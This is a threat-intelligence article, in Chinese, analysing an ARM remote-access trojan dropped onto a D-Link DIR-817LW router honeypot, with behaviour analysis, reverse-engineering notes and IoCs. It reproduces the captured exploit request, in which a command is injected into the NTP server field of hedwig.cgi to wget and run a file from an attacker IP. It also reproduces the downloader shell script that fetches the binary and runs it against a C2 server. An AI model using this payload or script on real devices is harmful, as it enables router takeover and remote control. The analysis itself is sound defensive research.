freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

物联网威胁监测系统最新发现一款针对IoT设备的RAT远控木马
2022-09-06 14:18:43
所属地 湖北省

一、背景概述

2022年7月20日,天穹威胁监测系统监测到IoT蜜罐系统中的D-Link Dir 817LW路由器遭受来自澳大利亚IP的攻击。系统显示目标设备被攻击成功,并且下载了恶意样本。实验室相关人员第一时间对该攻击事件样本进行分析,发现该次攻击投递的恶意样本为具备RAT功能的恶意程序。

二、关键线索

2.1 攻击特征

我们从天穹威胁监测系统提取了漏洞攻击请求原文,如下所示。根据Payload特征,发现此漏洞是Nday,暂无漏洞编号。

POST /hedwig.cgi HTTP/1.0

Host: 158.*.*.8:8011

Connection: close

Content-Length: 515

User-Agent: python-requests/2.25.1

Accept-Encoding: gzip, deflate

Accept: */*

Content-Type: text/xml

Cookie: uid=5r3JP1jSru


<postxml>

<module>

<service>DEVICE.TIME</service>

<device>

<time>

<ntp>

<enable>1</enable>

<period>604800</period>

<server>0.pool.ntp.org ; (wget -O /tmp/x http://149.28.174.108/dL.html ; chmod 777 /tmp/x ; /tmp/x) &amp; exit; </server>

</ntp>

<ntp6>

<enable>1</enable>

<period>604800</period>

</ntp6>

<timezone>57</timezone>

<time/>

<date/>

<dst>0</dst>

<dstmanual/>

<dstoffset/>

</time>

</device>

</module>

</postxml>



2.2 Shell脚本内容

上述攻击请求会控制失陷设备下载地址为http://149.28.174.108/dL.html的文件并执行,文件内容如下所示。

#!/bin/sh 

I=149.28.174.108;
PW=80;
PT=69;
DT=60; 

I1=45.149.156.71;
P1=9701; 

rm -f $0 

#tftp 下载文件
a=dal;
# tftp -g -l /tmp/dal -r dal 149.28.174.108 69;
tftp -g -l /tmp/$a -r $a $I $PT;

if [ -f /tmp/$a ];then 
    chmod 777 /tmp/$a;
    
    # /tmp/dal 60 45.149.156.71 9701 
    /tmp/$a $DT $I1 $P1 $I2 $P2 $I3 $P3 $I4 $P4 $I5 $P5;
    if [ ! -f /tmp/$a ];then 
        exit 0;
    fi;
    rm -f /tmp/$a;
fi 

#wget 下载文件
a=dal;
# wget http://149.28.174.108:80/dal -O /tmp/dal
wget http://$I:$PW/$a -O /tmp/$a;

if [ -f /tmp/$a ];then 
    chmod 777 /tmp/$a;
    
    # /tmp/dal 60 45.149.156.71 9701 
    /tmp/$a $DT $I1 $P1 $I2 $P2 $I3 $P3 $I4 $P4 $I5 $P5;
    if [ ! -f /tmp/$a ];then 
        exit 0;
    fi;
    rm -f /tmp/$a;
fi

根据文件内容,该脚本为一段Shell脚本,功能为远程下载二进制木马文件并执行。我们从真实下载地址http://149.28.174.108:80/dal下载了样本得到dal文件。

三、样本分析

3.1 动态养殖

构建内网隔离环境后,我们对样本进行了养殖与监控。通过监控,我们发现样本在运行时,首先会检测传入的参数,如果无参数或者参数数量不对,则直接退出。这是一种与沙箱对抗的简单方法,可以阻止部分沙箱对样本进行养殖与监控。

3.1.1 文件行为

当我们使用Shell中的启动参数(dal 60 45.149.156.71 9701)运行样本时,进程会删除程序源文件,同时建立两个进程名为sh的子进程

pi        1074     1  0 10:50 ?        00:00:00 sh
pi        1075  1074  0 10:50 ?        00:00:00 sh
pi        1084   905  0 10:50 pts/0    00:00:00 ps -ef

3.1.2 网络行为

进一步分析网络通联情况,发现该程序会监听9725端口。

pi@raspberrypi:/tmp $ netstat -an
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN
tcp        0      0 0.0.0.0:9725            0.0.0.0:*               LISTEN
tcp        0    224 192.168.6.188:22        192.168.4.148:26563     ESTABLISHED
tcp6       0      0 :::22                   :::*                    LISTEN
udp        0      0 0.0.0.0:56975           0.0.0.0:*
udp        0      0 0.0.0.0:5353            0.0.0.0:*
udp        0      0 0.0.0.0:68              0.0.0.0:*
udp6       0      0 :::5353                 :::*
udp6       0      0 :::51194                :::*
raw6       0      0 :::58                   :::*                    7


此外,通过流量监测发现该样本会定期与IP 45.149.156.71的9701端口建立通讯,心跳周期为60秒,所发送数据包内容为空。

结合该样本上述行为,我们可以判断该样本启动时三个参数的对应关系如下。

样本名    回连间隔       C2 IP         C2端口​

dal         60     45.149.156.71      9701

3.2 静态分析

3.2.1 自删除

运行后,先获取程序绝对路径并删除自身。

3.2.2 创建子进程1并放行端口

将子进程设置为守护进程。

子进程1会监听9725端口。

由于部分IoT设备存在防火墙,会拦截攻击者发送数据,该程序会调用Iptables放行9725端口,确保设备存在防火墙情况下也能与程序正常通讯。

3.2.3 创建子进程2并回连C2

子进程2:主动发起请求回连C2

3.2.4 指令操作

当攻击者与这两个进程中的任何一个建立通信后,就会去调用sub_15A8C 函数去处理接收的攻击者指令,根据接收到的不同命令实现不同的功能。

3.2.4.1 远程文件读取

Case 1 包括接收命令,打开文件和读取文件,发送数据。

3.2.4.2 远程文件写入

Case 2 会接收命令,调用的函数和 Case 1 中的一样,然后是打开文件和写入文件。

3.2.4.3 伪终端功能

Case 3 包括接收命令,接收命令调用的函数和之前一样,然后是打开设备文件,读取并发送。我们根据此函数打开设备文件位置判断这是打开伪终端。

3.2.4.4 文件上传下载与命令执行

Case 4 通过对比字符串决定执行流程。

如果是”get“就发送数据。

如果是”put“ 就打开和写入文件。

如果都不是就执行命令。

3.2.5 对接收数据的处理

在成功建立通信之后,程序第一次至少接收40个字节的数据,然后将这个40个字节的前20个字节和后20个字节分开,分开后的两个字符和另一个字符串 “pxd1@13sd...” 被一个函数当作参数填充 0x341D0 和 0x34468 地址里的空间,这两个地址里的值会被后面的解密函数使用,这个函数调用了许多计算函数去填充,难以分析出它的计算方式。

第一次接收的数据经过计算相当于一个解密用的密钥,供之后的解密使用。

之后调用调用函数 sub_10640 接收数据并进行加密,这个函数负责接收数据和解密数据,之后所有接收数据和加密数据都是由它完成。

sub_10640 函数总共会进行两次接收,第一次接收的长度为16个字节,通过一个解密函数 sub_12454 和第一次获得的密钥对这16字节的内容进行解密。

解密之后还会把解密的部分和 0x3466C 开始的部分进行异或,然后将异或后部分的第一个字节和第二个字节做计算,之后判断计算的值,如果不满足条件就结束这次通信。

第二次接收数据,接收数据的长度与第一次数据解密后的值有关,接收的数据紧挨着第二次接收的数据之后,之后又是一系列解密操作。

再经过 sub_10640 接收和处理的数据被用于条件判断,控制程序是否结束,或者作为参数传递给执行恶意操作的函数。

3.2.6 样本运行流程图

3.3 小结

结合该样本行为与代码分析结果,我们判断这是一个远控木马,存在心跳包机制,具有正向Shell与反向Shell功能。攻击者可以主动连接9725端口或者等待样本主动回连,当攻击者与木马建立连接后具有命令执行与文件上传下载功能。

四、威胁情报分析

4.1 事件IP关联情报

我们对此次攻击事件涉及的IP和样本进行了威胁情报关联,暂未发现与其他病毒家族关联信息。

原始文件名

dal

架构

Arm

文件格式

ELF

文件大小

81.25 KB

MD5

f4d77aa2aae2d5267845360b1274ce21

HASH1

b17c66753bbfb997d70dd20e8aff83e947cafd91

HASH256

1866bce852ee5d3be999f69ec19827276b6cd21c601baf441c3c0144cd65b2ae

VT首次上传时间

2021-12-15

VT检测结果

27/62

五、结论

通过样本的行为分析和代码分析,我们判断这是一个远控木马样本。

该样本运行后建立两个子进程,分别用于监控9725端口和定时向C2回连,当攻击者与木马建立连接后可以进行命令执行和文件上传下载等。

针对IoT设备的样本大多数具备DDos功能,而此样本却只有远程控制功能,且根据静态分析与威胁情报未找到与现有僵尸网络家族关联信息。我们推测此样本属于攻击者投递的第一阶段攻击载荷,后续攻击者可以利用此样本投递其他恶意程序。

六、IoC

  • f4d77aa2aae2d5267845360b1274ce21

  • 45.149.156.71

  • 149.28.174.108

# 网络安全 # 木马 # 路由器安全
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录